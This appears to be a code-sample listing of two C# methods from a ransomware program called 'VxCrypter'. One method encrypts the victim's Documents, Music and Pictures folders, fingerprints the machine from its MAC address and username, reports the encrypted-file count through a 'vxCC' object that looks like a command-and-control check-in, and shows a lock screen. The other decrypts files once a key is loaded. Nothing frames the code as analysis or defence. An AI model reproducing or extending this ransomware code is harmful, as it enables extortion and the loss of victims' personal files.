Example #1
0
        private void Decrypt()
        {
            if (!keyloaded)
            {
                return;
            }

            try
            {
                vxFileManager fil = new vxFileManager(crypter);

                fil.decryptDirectory(Environment.CurrentDirectory);

                /*   fil.decryptDirectory((Environment.GetFolderPath(Environment.SpecialFolder.Desktop)));
                *  fil.decryptDirectory((Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)));
                *  fil.decryptDirectory((Environment.GetFolderPath(Environment.SpecialFolder.MyMusic)));
                *  fil.decryptDirectory((Environment.GetFolderPath(Environment.SpecialFolder.MyPictures)));*/

                MessageBox.Show("Files have been decrypted successfully! :)", "VxCrypter", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            catch (Exception excp)
            {
                MessageBox.Show(excp.Message, "Exception", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
            }
        }
Example #2
0
        private static void Run()
        {
            vxFileManager filemgr = new vxFileManager();

            try
            {
                //filemgr.encryptDirectory(Environment.CurrentDirectory);
                filemgr.encryptDirectory(@Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments));
                filemgr.encryptDirectory(@Environment.GetFolderPath(Environment.SpecialFolder.MyMusic));
                filemgr.encryptDirectory(@Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
            }
            catch (Exception ex) {
                //System.IO.File.AppendAllText("log.txt", ex.Message);
            }


            String hwid = vxFunctions.GetMD5Hash("AWQWyDQWthrfa" + vxFunctions.GetMACAddress1() + Environment.UserName);
            vxCC   cc   = new vxCC(hwid, filemgr.GetEncryptedCount());



            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.Run(new Locked());
        }